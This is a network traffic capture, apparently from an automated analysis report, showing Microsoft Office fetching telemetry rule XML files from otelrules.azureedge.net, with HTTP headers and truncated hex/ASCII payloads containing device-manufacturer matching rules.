2024-10-29 14:27:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142714Z-16849878b78wc6ln1zsrz6q9w800000006d000000000339g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:15 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:15 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142715Z-16849878b78z2wx67pvzz63kdg000000057g00000000df6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:15 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:15 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142715Z-r197bdfb6b466qclztvgs64z10000000085000000000c29h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3a46b3a2-501e-008f-78cb-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142715Z-15b8d89586fpccrmgpemqdqe5800000001fg000000009ne3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:15 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142715Z-17c5cb586f6mhqqby1dwph2kzs00000001zg000000005scs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:15 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142715Z-16849878b78bjkl8dpep89pbgg000000059g00000000fwsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:16 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142716Z-16849878b78qf2gleqhwczd21s00000006v000000000b5x6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: baee9024-801e-00ac-4757-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142716Z-17c5cb586f64v7xsc2ahm8gsgw00000001g000000000e5ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142716Z-17c5cb586f6hn8cl90dxzu28kw00000006p00000000052p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142716Z-16849878b78p49s6zkwt11bbkn00000006cg0000000035sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142716Z-17c5cb586f62blg5ss55p9d6fn000000079g000000007a6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: ca0e8e6b-b01e-00ab-6a67-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142718Z-15b8d89586flzzksdx5d6q7g1000000001sg000000009p0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O 